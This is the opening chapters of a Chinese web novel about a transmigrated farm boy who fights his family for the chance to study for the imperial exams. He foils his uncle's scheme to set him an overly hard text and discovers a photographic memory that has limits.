《陛下,你管这叫没落寒门?》 第001章 我要读书! 药味,混着泥土和汗水的腥气,在闷热的空气里发酵,笼罩着破旧的土屋。 陆明渊躺在硬邦邦的土炕上,眼皮沉重得像是灌了铅。 耳边响着一个苍老而平缓的声音,不紧不慢地交代着。 “……没什么大碍,就是暑气入了体,加上这孩子底子本就虚,累狠了,风热入体。” “我开三副药,先清热解毒,再固本培元。喝下去,安生躺个半月,也就好了。” “这半个月切记不要让孩子再下地了,这么小,受不得这么折腾!” 说话的是镇上的老郎中。 “有劳张郎中了。”男人的声音忠厚老实。 这是他的父亲,陆从文。 陆明渊闭着眼,记忆在他脑海中却翻江倒海。 三天前,原身在毒辣的日头下割麦,一头栽倒在地,再醒来时,身体里就换了个来自后世的灵魂。 这三天,他像看一场漫长而无声的黑白电影,将这具身体十二年来的记忆尽数接收。 他的父亲陆从文,年轻的时候考中府试,后来因为某些原因,放弃读书,开始在家里种地。 作为陆家长子,他用自己的一副铁打的肩膀,扛起了整个家。 他本有机会继续读书,却为了供养两个弟弟,早早下了地。 他本是十里八乡有名的俊后生,如今却被田里的活计和生活的重压,磨得背脊微驼,眼角刻满了与年龄不符的沧桑。 记忆里,爷爷临终前拉着父亲的手,说的不是让他过好自己的日子,而是:“从文,你是老大,要照顾好弟弟们,要担起陆家的责任。” 于是,陆从文担起来了。 他像一头老黄牛,勤勤恳恳,任劳任怨。 他牺牲了自己,现在,又要牺牲自己的儿子。 陆明渊的心头涌起一股陌生的、却又无比真实的委屈与不甘。 这股情绪不完全属于他这个穿越者,更多是这具身体原主残留的执念。 凭什么? 就因为三叔陆从智的儿子陆明文,在族老面前磕磕巴巴背了几句《三字经》,就被认为是读书的料子,要全家之力供养他一人? 而自己,这个同样渴望笔墨纸砚的少年,就必须卷起裤腿,面朝黄土背朝天,用稚嫩的肩膀去换堂兄那虚无缥缈的功名前程? 不值得,也不应该。 陆从文送走了郎中,脚步很轻地走了进来。 他身上那股熟悉的汗味混着泥土的气息,让陆明渊的鼻子有些发酸。 “渊儿,好些了吗?” 陆从文的声音放得很低,生怕惊扰了他。 他伸出一只粗糙、布满老茧和裂口的手,想探一探儿子的额头,却又在半空中顿住,似乎是怕自己手上的泥污弄脏了儿子。 陆明渊没有睁眼,只是含糊地“嗯”了一声。 就在这时,院外传来一个尖厉的女声。 “哟,大哥在家呢?明渊这身子可真是金贵,不就是跟着下地割了几天麦子,就躺了足足三天?” “这郎中也瞧了,药也抓了,还打算在这炕上躺到什么时候?地里的活儿可不等人!” 是三叔母赵氏。 陆明渊的眉心几不可察地蹙了一下。 赵氏人未到,声先至,掀开破旧的门帘便走了进来。 一双三角眼先是轻蔑地扫了一眼炕上的陆明渊,随即落在了刚从里屋出来的王氏身上。 “二嫂,我说句不中听的,你可别怪弟妹多嘴。你那小的三岁,天天还要自己带着。” “是怕咱娘亏待了他不成?还是想借着带孩子的由头,躲在家里偷懒,不下地干活儿?” 陆明渊的母亲王氏,手里勾着三岁的儿子陆明泽,原本温婉的脸上瞬间覆上了一层寒霜。 她本是镇上大户人家的女儿,当年不顾家人反对,执意嫁给陆从文。 这些年,她变卖了所有嫁妆,操持家务,早已没了当年的风光。 可骨子里的那份骄傲和对儿子的爱护,却从未被磨灭。 “弟妹这话说得可真有意思。” 王氏的声音不大,却字字清晰,带着一股冷意。 “我家明渊跟着他爹,顶着毒日头下地割了半个月的麦子,孩子小,中了暑气。” “郎中都说要躺半个月,在你眼里倒成了偷懒?怎么,非要我儿子累死在地里,你才满意?” 她顿了顿,目光直视着赵氏,毫不退让,继续说道:“我是在家带孩子,可这家里的哪样活计我没帮手?” “一家子的饭菜是我做的,你们换下来的脏衣服是我洗的。我平日里还抽空做些刺绣补贴家用,我哪里偷懒了?” 赵氏被噎得脸上青一阵白一阵,立刻拔高了音量。 “哎哟喂,大嫂你可真是好大一张利嘴!我不过是关心侄儿一句,怎么就成了盼着他死了?” “你做点家务怎么了?这陆家的饭,你没吃?陆家的房子,你没住?做点活儿不是应该的吗?说得好像你受了天大的委屈似的!” 听到这话,王氏的声音也陡然尖锐起来,积压了多年的怨气在这一刻终于爆发。 “我男人供养了你男人这么多年,放弃了前途,这么多年过去了,我们说过什么?现在,我儿子为了能让你儿子安心读书,才十岁就要下地干活,我们都没有说过一句多话?” “不是我们傻,是因为我们知道读书人才是家族唯一的出路,我们干最苦的活,拿得最少,现在我儿子因为中暑晕倒了,而你还在这里……” “你……” “吵什么吵!嚷嚷什么!当我是个死人吗?” 一声苍老而威严的怒吼,院子里看热闹的邻居们瞬间噤声,探头探脑的脑袋都缩了回去。 赵氏和王氏的争吵也戛然而止。 陆家的老太太陈氏,拄着一根磨得发亮的拐杖,沉着脸站在院子中央。 她那双浑浊却精光四射的眼睛,冷冷地扫过两个儿媳,最后落在了王氏身上。 “老大媳妇,你刚才说什么?什么叫为了老三的儿子,你儿子就要当一辈子农民?” “这是族老们定下的事!你想造反不成?” 王氏嘴唇翕动,眼中含泪,却终究没敢再多说一个字。 在这个家里,婆婆的话就是天。 赵氏见状,嘴角勾起一抹得意的冷笑,刚想再说几句风凉话,却被陈氏一个凌厉的眼神给瞪了回去。 院子里死一般的寂静,然而,就在这压抑得令人窒息的寂静中,突然传出了一个声音。 那声音不大,却清晰地传到了院子里每一个人的耳朵里。 “奶奶,我也要读书!” 第002章 给自己争取一个机会! 陆明渊扶着门框,慢慢地站直了身体。 他身上还穿着那件洗得发白的粗布短衫,脸色因久病而显得苍白,但那双眼睛,却亮得惊人。 院内凝固的空气,被一声尖刻的嗤笑划破。 三伯母赵氏像是听到了天底下最好笑的笑话。 “哟,我当是谁呢?原来是我们家金贵的明渊啊。” 她阴阳怪气地拉长了调子。 “怎么,炕上躺着不舒服,想换个地方躺了?还读书?你怕不是烧糊涂了吧!” “当年家里选读书人的时候,族老做主,让你们自己选,一个下地,一个读书,家里勒紧裤腰带供一个。 “你自己个儿抓了锄头,说读书没意思,不如刨地好玩儿!明文拿了书,这才有了今天!” “怎么着?现在看你堂哥穿着长衫,被夫子夸奖,眼红了?后悔了?” “天底下哪有这样的道理?自己选的路,现在想赖账了?” 赵氏一番话,又快又急。 陆明渊脸色淡然,脑海中不由得浮现出当年父亲对自己说的话,让自己选锄头! 那个时候陆明渊三岁,他懂得什么? 父亲让抓什么就抓什么了! 没想到居然决定了原身的一辈子! 王氏气得浑身发抖,抓着孩子的手都不由得紧了几分。 刚要开口,却被老太太陈氏一个眼神制止。 陈氏那张布满沟壑的脸沉得能滴下水来。 她不是气陆明渊要读书,而是气这番家丑被嚷嚷得人尽皆知。 她手里的拐杖在青石板上重重一跺,发出“笃”的一声闷响。 “都给我滚进来!” 老太太的声音不大,却带着不容置喙的威严。 “还嫌不够丢人现眼吗?把门关上!” 院外看热闹的人群顿时作鸟兽散。 赵氏悻悻地闭了嘴,狠狠剜了陆明渊一眼,扭着腰先进了堂屋。 王氏担忧地看了儿子一眼,也默默跟了进去。 不一会儿,刚刚下地的陆从文和老三陆从智也脚步匆匆地赶了回来。 陆从文一脸焦急,而陆从智则皱着眉头,脸上带着明显的不悦。 一家人,在昏暗的堂屋里分坐下来,气氛压抑得令人窒息。 这里是陆家的脸面,是议事的地方。 正中墙上还挂着一副早已泛黄的“耕读传家”的字画,此刻看来,充满了讽刺。 “说吧,怎么回事?” 陈氏坐在主位上,拐杖就立在手边,像一柄权杖。 赵氏立刻抢过了话头,将刚才在院子里的话又添油加醋地说了一遍,最后总结道。 “娘,不是我这个做婶娘的心狠。实在是家里就这个光景,砸锅卖铁才勉强供得起一个读书人。” “我们家明文,学问做得好好的,眼看明年开春就要再考县试,正是要劲儿的时候。” “后面用钱的地方多着呢!哪儿还有闲钱给一个三心二意的人瞎折腾?” 她口中的“三心二意的人”,自然指的是陆明渊。 陆从智清了清嗓子,慢条斯理地开了口。 他相貌比陆从文要清秀些,常年不干重活,身上带着一股子斯文气。 “娘,赵氏说的在理。” 他停顿了下,继续开口说道: “其一,当年是明渊自己选的,男子汉大丈夫,一言九鼎,岂能出尔反尔?传出去,我们陆家的家风何在?” “其二,”他顿了顿:“读书,是讲天分的。不是谁想读,就能读出个名堂来的。” “我们家明文,自小聪慧,镇上的夫子都亲口夸过,说他是个读书的种子。” “明渊这孩子……从小就野,让他去跟笔墨打交道,怕不是白白浪费钱粮,耽误工夫。” 言下之意非常明显,你陆明渊不是读书那块料。 “你胡说!” 王氏再也忍不住,霍然起身。 “我儿子怎么就不是读书的料了?他小时候也认得字,只是……” “你闭嘴!”陈氏拐杖又是一顿,冷冷地打断了她。 “这里是男人议事,有你一个妇道人家插嘴的份儿吗?坐下!” 王氏的脸瞬间血色尽褪,眼圈一红,终究还是屈辱地坐了回去。 在这个时代,万物孝为先! 公公不在,婆婆就是一家之主! 她的话,谁都得听! 陈氏将目光转向自己的大儿子,声音缓和了些,却依旧带着压力。 “从文,你是他爹,也是这个家的老大。你说,这事儿,你怎么想?” 所有人的目光都聚焦在了陆从文身上。 这个沉默的男人抬起头,嘴唇翕动,粗糙的指节因为用力而捏得发白。 他看了一眼满眼期盼的妻子,又看了一眼目光灼灼的儿子,心中天人交战。 就在他似乎下定了决心,要为儿子争一争的时候,一旁的陆从智幽幽地开了口。 “大哥。” 他的声音不高,却像一根针,精准地刺中了陆从文最柔软、也最沉重的地方。 “你还记不记得,爹临走前,拉着你的手是怎么说的?” “爹说,他这辈子最大的遗憾,就是咱家没能出一个读书人,光耀我陆家的门楣。” “他说,陆家的希望,就在下一辈身上。如今,明文就是我们陆家最大的希望啊!” 他站起身,走到陆从文身边,重重地拍了拍他的肩膀。 “大哥,为了供明文读书,你吃了多少苦,受了多少累,我这个做弟弟的都看在眼里,记在心里。” “眼看就要有出头之日了,你难道要为了渊儿一时的胡闹,毁了明文的前程,也毁了爹的遗愿吗?” 这番话,字字句句,都像沉重的枷锁,重新套在了陆从文的脖子上。 “爹的遗愿……” 他喃喃自语,眼神中的那点光芒迅速黯淡下去,整个人仿佛被抽走了所有的力气,背脊又驼了几分。 他长长地叹了口气,那口气里,是认命,是无奈,是无尽的疲惫。 他就要开口,说出那个“算了吧”。 然而,一个清朗而坚定的声音,抢在了他前面。 “三叔。” 陆明渊开口了。 他一直冷眼旁观,直到此刻,他才明白,父亲已经“孝道”和“责任”困住了。 寄希望于父亲,无异于等死! 他必须给自己争取一个机会! 他从门边走到堂屋中央,先是对着主位上的陈氏,恭恭敬敬地躬身行了一礼。 “奶奶,三叔,父亲。” 他抬起头,目光平静地迎向陆从智。 “三叔,您说得对,当年拿锄头,确实是我自己选的。” 他坦然承认,没有半分狡辩。 “但那年我才三岁,只觉得锄头好玩,能跟着爹下地也是好玩。小孩子家家,懂什么叫读书,什么叫前程?” 他话锋一转,继续说道:“可我现在十岁了,我懂了。” “我看着爹日夜操劳,看着娘变卖嫁妆,看着这个家为了‘读书’二字,被压得喘不过气。” “我明白了,光靠着在地里刨食,刨不出我陆家的富贵,更刨不出我陆家的荣耀!” “我也想读书,我想像爹的名字一样,做一个‘文’人,恢复我陆家往日的荣光!” 这番话说得掷地有声,竟将“光耀门楣”这杆大旗,从陆从智手上接了过来,扛在了自己肩上。 陆从智的脸色微微一变。 陆明渊没有停,继续说道:“三叔母说,明文哥天生是读书的种子,夫子都夸他。” “可我听说,县试每年一考,明文哥今年十三,已经考了三次,连县试都没过。” “这……似乎并不像您说的那样,是天生的读书种子吧?” “你……!” 赵氏的脸瞬间涨成了猪肝色。 这是他们家的隐痛,如今被陆明渊当众说了出来,无异于狠狠一记耳光。 陆明渊却仿佛没看到她的愤怒,转而面向了真正能做主的老太太陈氏。 眼神恳切,态度谦卑:“奶奶,郎中说了,我中了暑气,身子虚,半个月内不能干重活。我想跟您讨个恩典。” 他深深一揖,声音清越。 “就给我这半个月的时间。我不用家里的钱买纸笔,就用树枝在地上写。” “我也不去学堂,就在家里帮娘做些轻省活计,照看弟弟,剩下的时间,我借明文哥的旧书看一看。” “半个月后,请奶奶、父亲、三伯一同考校我。” “如果我读不出半点名堂,是个朽木疙瘩,那我从今往后,绝不再提‘读书’二字。” “老老实实跟我爹下地干活,为家里、为明文哥挣一份前程,绝无二话!” “可如果……” 他的声音微微一顿,继续说道。 “如果我能读出个名堂来。我也不求家里多花钱,就请奶奶恩准,让我和明文哥一起读书!” “是不是读书的种子,给我半个月,也给陆家……多一个机会!” 话音落下,满室俱静。 赵氏气得嘴唇哆嗦,却一句话也说不出来。 陆从智眉头紧锁,眼神惊疑不定。 陆从文浑身一震,难以置信地看着自己的儿子,不敢相信这是自己十岁儿子说出来的话。 而主位上的老太太陈氏,那双浑浊的老眼,死死地盯着陆明渊。 第003章 三叔的算计! 陈氏浑浊的双眼,在陆明渊身上来回刮了许久。 她见过太多人,有老实巴交的,有奸猾似鬼的,有志大才疏的,也有庸碌无为的。 可眼前这个孙子,今天却让她有些看不透了。 往日里那个见了自己只会低头,偶尔抬头也是一脸怯懦的少年,今日却像是换了个人。 那番话,条理分明,逻辑严密,不卑不亢,竟是将“孝道”、“家业”、“前程”这些大道理揉捏在一起。 尤其是那句“是不是读书的种子,给我半个月,也给陆家……多一个机会”,更是说到了陈氏的心坎里。 是啊,一个机会。 陆家的希望全压在长孙陆明文身上,可这希望,连考三次县试不过,也显得有些缥缈了。 如今,一个看似已经废了的孙子,突然跳出来,要为陆家再争一个机会。 成本是什么? 半个月的时间,几本旧书。 这半个月,他本就因病不能下地,对家里没有任何损失。 收益呢? 万一……万一他真是个被埋没的读书种子呢? 那陆家就有了双份的希望,光耀门楣的机会便大了一倍。 退一万步讲,就算他不成,半个月后,事实摆在眼前,他也无话可说,从此断了念想,老实种地。 如此一来,既堵住了他的嘴,也让大儿子一家彻底死了心,省得日后兄弟因此生了嫌隙。 想到此处,陈氏那张紧绷的脸,线条终于柔和了一丝。 她握着拐杖的手松开了些,在青石板上轻轻一顿。 “好。” “就依你。” 老太太的目光扫过堂下众人,最终还是落回陆明渊身上。 “从智,把你家明文看过的那些书拿给他。” “这半个月,你就在家养病看书,家里不指望你干活。” “半个月后,我亲自考你,若真能读出个名堂,往后就跟着你明文哥一起读书。” “家里便是再紧,也供你和明文一起读书!” “娘!” 赵氏一听这话,顿时急了,刚要开口反驳。 “闭嘴!” 陆从智却猛地一拉她的袖子,低声喝止了她。 他朝前一步,对着陈氏躬身道:“娘说的是。是儿子我格局小了。明渊有这个心是好事,我这个做三叔的,理应支持。我这就回去给他拿书。” 说完,他看也不看陆明渊,拉着一脸不忿的赵氏,快步走出了堂屋,回了自己的东厢房。 陆从文愣愣地看着眼前的一切,仿佛还没从这巨大的转折中回过神来。 他张了张嘴,想对儿子说些什么,却发现喉咙干涩,一个字也吐不出来。 王氏的眼泪,却在这一刻决了堤。 她不是悲伤,而是喜悦,是激动,是压抑了数年的委屈和期盼,在这一刻得到了释放。 她看着堂中那个身形尚显单薄,脊梁却挺得笔直的长子,心中感慨万千。 儿子……她的儿子终于开窍了! 她出身于镇上的大户人家。 当初嫁给进县里赶考的陆从文,便是看中了他的人品,他的才学。 可嫁过来后,她才明白这陆家的弯弯绕绕。 丈夫已经没有希望了,所以她一直希望自己的儿子能读书,能出人头地,让她在娘家也能挺直腰杆,告诉父亲,她没有选错人。 可七年前,三岁的明渊在那场决定命运的“抓周”上,懵懵懂懂地抓了锄头,几乎让她绝望。 她认了命,觉得长子这辈子也就是个面朝黄土背朝天的命了。 这才拼着伤了身子,也要生下小儿子明泽,想着为自己、为这一房再争一个希望。 没想到,一场暑病,竟让明渊迷途知返,脱胎换骨! 王氏在心中暗暗发誓,从今天起,哪怕是卖掉最后一件首饰,她也要给明渊创造最好的读书条件! 堂屋里压抑的气氛一扫而空,就在这时,一个穿着开裆裤的小小身影,迈着小短腿“噔噔噔”地跑了进来。 正是王氏的小儿子,陆明泽。 他手里攥着几颗红得发紫的野果子,上面还沾着些许泥土。 他径直跑到陈氏跟前,踮起脚,努力地将小手举高。 “奶,吃,饿饿。” 稚嫩的童音,带着一股子天真和讨好,瞬间融化了陈氏脸上最后的冰霜。 “哎哟,我的乖孙!” 老太太一把将陆明泽抱进怀里,在那肉嘟嘟的小脸上狠狠亲了一口,脸上的皱纹笑成了一朵菊花。 “还是我的幺孙最懂事,知道心疼奶奶。奶奶不饿,幺孙吃,快吃。” 她剥开一颗野果,塞进陆明泽的嘴里,满眼都是宠溺。 这温情的一幕,让屋里的气氛彻底缓和下来。 陈氏抱着小孙子,心情大好,转头对着还愣在那里的陆从文呵斥道:“还傻站着干什么?没听见我孙子都饿了吗?还不赶紧去做饭!” “诶,诶!” 陆从文如梦初醒,憨厚地笑着,连声答应,转身就往厨房走去。 他的脚步,似乎都比刚才轻快了许多。 王氏也连忙起身,擦干眼泪,开始麻利地收拾桌子。 …… 堂屋里,很快飘起了饭菜的香气,一家人围坐下来,在陈氏的主持下,呈现出一派母慈子孝、其乐融融的景象。 而在仅一墙之隔的东厢房内,气氛却几近冰点。 “啪!” 赵氏一把甩开陆从智的胳膊,压低了声音,脸上满是怒火和不甘。 “陆从智,你就是个怂货!娘说什么就是什么?你不敢跟她争一句?” “凭什么?凭什么要给那小兔崽子机会?当年是他自己选的锄头,全族人看着的!” “现在他想反悔就反悔了?天底下哪有这么便宜的事!” 赵氏气得在屋里来回踱步。 “我们家明文为了读书吃了多少苦?你看看他的手,连笔都快磨出茧子了!” “明年就要县试了,正是关键的时候,多一个人读书,家里的钱就要分走一半!” “你这不是从咱们明文身上割肉,去喂那只白眼狼吗?” “你嚷什么!”陆从智被她吵得心烦,一把将她推开,脸色阴沉地说道:“你以为我愿意?你没看到娘那眼神吗?” “今天这事,我要是敢说个不字,往后在这个家里就别想有好日子过!” “大哥一家会恨死我们,娘也会觉得我容不下侄子,心思歹毒!” 赵氏兀自气愤吗,道:“那也不能就这么便宜了他!” “便宜?” 陆从智的嘴角,勾起一抹冷笑,他凑到妻子耳边,声音压得极低。 “你急什么?他不是想当读书的种子吗?行啊,我成全他!” “你当我是真好心,要给他《三字经》和《百家姓》?” 他冷哼一声:“我方才想过了,那两本太简单,万一他真有点小聪明,半个月死记硬背下来,反倒让他得了意。” 赵氏一愣:“那你的意思是?” “《孟子》!” 陆从智一字一顿地吐出两个字,眼神变得阴狠起来。 “我待会儿就跟娘说,明文哥马上要考县试,三字经什么的都拿回去复习,家里就剩下《孟子》。” 他看着妻子震惊的表情,得意地解释道:“你忘了?当年明文开蒙后,学这本《孟子》,足足啃了三个多月,还是在夫子逐字逐句的教导下!” “他陆明渊一个大字不识几个的泥腿子,连个教他的人都没有,就凭他自己,半个月想读懂《孟子》?” “他要是能读懂,我陆从智的名字就倒过来写!” “到时候,半月之期一到,老太太亲自考校,他连一句话都说不通顺。” “这‘朽木疙瘩’的名声,可就是他自己坐实的,怪不得任何人!” “到那时,他不仅要老老实实滚回去种地,大哥一家也再没脸提‘读书’二字。” “而我们还落了个顾全大局、提携侄儿的好名声。” 第004章 三叔有点傻眼了! 饭后的陆家大院,暑气渐消,夜虫初鸣。 各房都点了灯,昏黄的灯火从窗纸透出。 陆从文正蹲在屋檐下,就着月光,笨拙地修补着一个破了口的锄头。 自从老爷子走了之后,陆从文就放下了书本,拿起了锄头。 半辈子都在跟土地打交道。 在他看来,儿子终究还是要回到田里来的,家伙什得趁手才行。 王氏则在屋里,借着一盏昏暗的油灯,小心翼翼地缝补着陆明渊身上那件半旧的褂子。 灯火下,她的侧脸柔和,眼神里却满是藏不住的忧虑。 老太太的话是金口玉言,可三房那两口子,是省油的灯吗? 就在这时,东厢房的门“吱呀”一声开了。 陆从智手里捧着一本厚厚的、书页泛黄的线装书,施施然地走了过来。 “大哥,大嫂。” 他先是客气地打了声招呼,然后将目光投向屋内,看到了坐在桌前发呆的陆明渊。 “明渊啊,书我给你拿来了。” 陆从文连忙放下手里的活计,站起身,有些局促地搓着手,“从智,辛苦你了。” 王氏也停下了手里的针线,起身迎了出来。 当她的目光落在那本书的封面上时,脸色“唰”地一下就白了。 那书的封面上,写着两个古朴的篆字——《孟子》。 “三弟,你这是……” 王氏的声音有些发颤。 陆从智仿佛没看到她难看的脸色,一脸诚恳地解释道:“大嫂,你别误会。本来是想给明渊拿《三字经》和《百家姓》开蒙的。” “可这不是巧了么,明文明年就要下场,正是温书的关键时候。” “那些书,他都带去县里的私塾了,说是要从头到尾再梳理一遍,不敢有丝毫懈怠。” 他叹了口气,将手里的《孟子》往前递了递,语气里满是无奈:“我翻了半天,家里就剩下这本《孟子》了。” “我想着,明渊既然敢在娘面前立下军令状,想必是有几分把握的。” “再说,大哥当年也读过书,这些年肯定也教过他一些。” “若明渊真是那块璞玉,是真正的读书种子,起点高一些,直接从《孟子》学起,说不定更能激发他的天分,岂不更好?” 这番话说得滴水不漏,既解释了为何不给启蒙读物,又把陆明渊高高架了起来。 言下之意,你要是真有本事,区区一本《孟子》算什么? 你要是连《孟子》都看不懂,那你之前说的话,就是在全家人面前吹牛! “你!” 王氏气得浑身发抖,胸口剧烈起伏。 这哪里是提携,这分明是捧杀! 是陷阱! 《孟子》是何等典籍? 义理精深,文辞浩荡,别说一个从未正经上过学的孩子,就是许多读了几年书的童生,都未必能通解其意。 让一个大字不识几个的明渊,在无人教导的情况下,半个月内读懂《孟子》? 这简直是天方夜谭! “陆从智!你分明是故意为难我儿!” 王氏再也忍不住,指着他的鼻子,便要怒斥出声。 她不能眼睁睁看着自己的儿子,被人用这种阴损的法子断了前程! “娘。” 就在这剑拔弩张的时刻,一个清朗而沉稳的声音,从屋内传来。 陆明渊缓缓从桌边站起,走了出来。 他先是对着母亲微微摇了摇头,示意她稍安勿躁,然后,他越过母亲,径直走到了陆从智面前。 他的目光平静如水,没有愤怒,没有怨怼,甚至没有丝毫波澜。 他就这么静静地看着陆从智,看的这位精于算计的三叔,心里竟莫名地有些发虚。 “三叔。”陆明渊开口,他伸出双手,恭恭敬敬地从陆从智手中接过了那本厚重的《孟子》。 “多谢三叔。” 陆明渊微微躬身,行了一礼,姿态谦逊,无可挑剔。 “三叔说的是,侄儿若真是读书的种子,便不该畏难。” “侄儿多谢三叔!” 见到陆明渊如此平静,陆从智准备好的一肚子说辞,竟一个字也说不出来。 他本以为会看到一场哭闹。 可陆明渊没有。 他接了,还感谢了。 这一下,反倒让陆从智的算计显得有些上不得台面了。 陆明渊直起身,将书抱在怀里,随即轻轻咳嗽了两声,脸色显出一丝病态的苍白。 “夜里风凉,侄儿这身子骨弱,怕是受不得寒。就不陪三叔在此闲话了,先行回屋看书去了。” 说完,他再次对陆从智和自己的父母点了点头,便转身走回了屋内,将那扇陈旧的木门轻轻关上。 整个过程,行云流水,不卑不亢。 他没有争辩一句。 是啊,你给我《孟子》,我便读《孟子》。 半个月后,若我读出来了,便是我天资过人,你陆从智慧眼识珠。 若我读不出来,是我自己不中用,也怨不得你给的书难。 这其中的气度与格局,哪里像一个十岁出头的农家少年? 陆从智站在原地,脸上的笑容有些僵硬。 他感觉自己像是铆足了劲打出一拳,却打在了一团棉花上,说不出的憋闷。 王氏怔怔地看着那扇紧闭的房门,心中久久不能平息。 她忽然发现,自己好像……已经不需要再像护着雏鸟一样护着儿子了。 “咳,那……大哥大嫂,我就先回去了。明渊身子要紧,你们也早些歇着。” 陆从智干巴巴地说了两句,便灰溜溜地转身走了。 陆从文看着三弟的背影,又看看紧闭的房门,嘴巴张了张,最终只是长长地叹了口气,重新蹲下去,继续修他的锄头。 只是这一次,他的动作,明显慢了许多。 …… 西厢房内,一灯如豆。 陆明渊坐在那张破旧的书桌前,轻轻抚摸着《孟子》那粗糙的封面。 他当然清楚三伯陆从智的险恶用心。 但他更清楚,在目前这个家里,他没有任何讨价还价的资格。 奶奶陈氏肯松口给他半个月的时间,已经是天大的恩赐,是他用尽了两世为人的心智才争取来的机会。 若是在书本这种“小事”上继续纠缠,只会让老太太觉得他斤斤计较,贪得无厌。 甚至会怀疑他是否真的有读书的决心。 那样一来,只会适得其反,将这来之不易的机会彻底葬送。 所以,他必须接。 不但要接,还要接得漂漂亮亮,让所有人都说不出一个“不”字。 第005章 有极限,才符合逻辑 他深吸一口气,将所有的杂念摒除。 前世,他也是从底层一步步打拼出来的,什么阴谋诡计没见过? 什么艰难险阻没遇过? 这点小场面,还乱不了他的心。 他对自己有信心。 两世为人的灵魂,好歹历经九年义务教育,渡过那千军万马的独木桥,踏入大学殿堂的卷王。 若是连半个月啃下一本《孟子》都做不到,那确实也别谈什么科举,别谈什么改变命运了。 老老实实当一辈子农民,也算是认清了自己。 想到这里,他的眼神变得无比坚定。 他翻开了书的第一页。 “孟子见梁惠王。王曰:‘叟!不远千里而来,亦将有以利吾国乎?’孟子对曰:‘王!何必曰利?亦有仁义而已矣……’” 古朴的繁体字,没有标点,从右到左,竖行排列。 对于一个习惯了简体横排的现代人来说,本该是晦涩难懂的。 然而,就在陆明渊的目光与那些文字接触的瞬间,一种奇异的感觉涌上了他的心头。 那些原本陌生而复杂的字形,仿佛一个个活了过来,在他的脑海中自动分解、重组,清晰地烙印下来。 不仅是字形,就连那字里行间蕴含的微言大义,那些需要夫子讲解数遍才能领会的深意,竟也如清泉流过心田,豁然开朗。 他只是看了一眼。 就好像已经读了千百遍。 陆明渊心中一动,半晌才回过神来,当即闭上了眼睛。 “孟子见梁惠王。王曰:‘叟!不远千里而来……’” 刚才看过的那段文字,一字不差地在他脑海中浮现,清晰的仿佛就刻在那里。 他猛地睁开眼,眼中爆发出难以置信的精光。 他又迅速翻到下一页,目光飞快地扫过。 “……是心足以王矣。百姓皆以王为爱也,臣固知王之不忍也。” 闭眼。 回忆。 一字不差! 再翻! “……以若所为,求若所欲,犹缘木而求鱼也。” 闭眼! 回忆! 依旧是一字不差! 过目不忘! 巨大的狂喜,如同山洪海啸一般,瞬间席卷了陆明渊的整个身心! 他激动的浑身微微颤抖,双手紧紧攥成了拳头。 读书的种子? 我何止是读书的种子! …… 陆明渊合上《孟子》的最后一页,长长地吐出一口浊气。 子时中野,夜深人静。 他没有丝毫困意,精神却前所未有地亢奋。 躺在冰冷的硬板床上,强迫自己闭上眼睛,脑海中却依旧回荡着“……虽千万人,吾往矣”的豪情。 这一觉,睡得极沉,也极短。 当窗外天光微亮,远处传来第一声鸡鸣时,陆明渊猛地睁开了双眼。 卯时初。 他坐起身,只觉得神清气爽,昨日深夜读书的疲惫感一扫而空。 他看了一眼窗外,估摸着时辰,心中掀起了比发现“过目不忘”时更为剧烈的波澜。 从子时中野到卯时初,满打满算,不过两个时辰,也就是四个小时。 他竟然……自然醒了? 而且没有半点儿昏沉困倦之感,反而精力充沛的仿佛睡足了十个时辰。 陆明渊的心脏“怦怦”的剧烈跳动起来。 他立刻就意识到了这意味着什么。 过目不忘,让他拥有了无与伦比的学习效率。 而这超乎常人的精力,则给了他远超常人的学习时间! 别人一天温书四个时辰已是勤勉,六个时辰便是极限。 而他,刨去吃饭劳作等杂事,一天至少能匀出八个时辰用在书本上,并且精力始终处在巅峰! 效率是别人的数倍,时间是别人的两倍。 两者相乘…… 陆明渊的眼神亮得吓人。 若是这样还考不中一个秀才,搏不出一个前程,那他真的可以找块豆腐撞死,白费了这天大的机缘。 他不再犹豫,披上件单衣,借着窗棂透进来的熹微晨光,再次翻开了那本《孟子》。 这一次,他不再是通读,而是开始逐句背诵、理解、揣摩。 屋外,传来一阵轻微的脚步声和压抑的咳嗽声。 是父亲陆从文。 陆从文正要像往常一样,天不亮就扛着锄头下地。 他推开自己那屋的门,习惯性地朝西厢房看了一眼,脚步却猛地顿住了。 透过那扇简陋的窗户,他看到了自己的儿子。 晨光勾勒出陆明渊清瘦的侧影,他坐得笔直,手中捧着书卷,神情专注。 陆从文的眼眶,瞬间红了。 他那双常年握着锄头而布满老茧和裂口的手,死死地攥住了门框,指节因为用力而泛白。 一股巨大的、尖锐的酸楚和悔恨,如同尖刀般剜着他的心。 他想起了三弟陆从智当年信誓旦旦的模样。 “大哥,你信我,我们家明文,那是天上的文曲星下凡,是真正的读书种子!” “只要等明文考上了功名,就能免去徭税,到那个时候,咱们陆家就舒服了。” “刚好你家明渊,敦厚老实,是个干农活的好把式。就让他……让他帮衬着家里。” “将来明文出息了,还能亏待了他这个堂哥?” 他信了。 他这个老实巴交了一辈子的人,信了自己那打小就比他聪明的弟弟。 他亲手折断了儿子读书的路。 这些年,儿子从未有过一句怨言,默默地跟着他下地。 小小的年纪,手上就磨出了和他一样的茧子。 他越是懂事,陆从文的心就越是像被油煎一样难受。 直到昨天,儿子突然像是变了个人。 向老太太争取来了这半个月的机会。 他原以为,儿子只是一时意气。 可现在,看着窗内那道身影,他才明白,读书的火苗,从未在儿子的心中熄灭过。 它只是被自己这个当爹的,给死死地压住了! “爹就算……拼了这条老命,也给你挣出一个读书的机会!” 陆从文在心中默默念叨一句,悄悄地退了回去。 再出门时,脚步放得更轻。 西厢房内,陆明渊对父亲的百感交集一无所知。 他的全部心神,都沉浸在了书本的海洋里。 一个时辰。 仅仅一个时辰。 当太阳的光辉彻底洒满庭院时,陆明渊已经将整本《孟子》,连同那些细密的注解,在脑海中过了整整一遍。 他自信,现在随便抽出一段,他都能一字不差地背诵出来。 然而,就在他准备一鼓作气,开始第二遍精读时,脑海传来阵阵痛楚! “唔!” 陆明渊闷哼一声,眉头紧皱,下意识地丢开书本。 痛楚来得快,去得也快。 在他放下书本,不再强行记忆思考的片刻之后,那股疼痛便如潮水般退去。 只留下一阵阵轻微的、可以忍受的余痛和强烈的精神疲惫感。 他靠在椅背上。 “原来如此……” 他立刻就明白了。 这不是什么恶疾,而是精神力过度消耗的征兆。 就好像前世连续加班七十二小时,整个大脑都像要宕机一样。 这“过目不忘”和“超凡领悟”的能力,并非没有代价。 它需要消耗大量的精力。 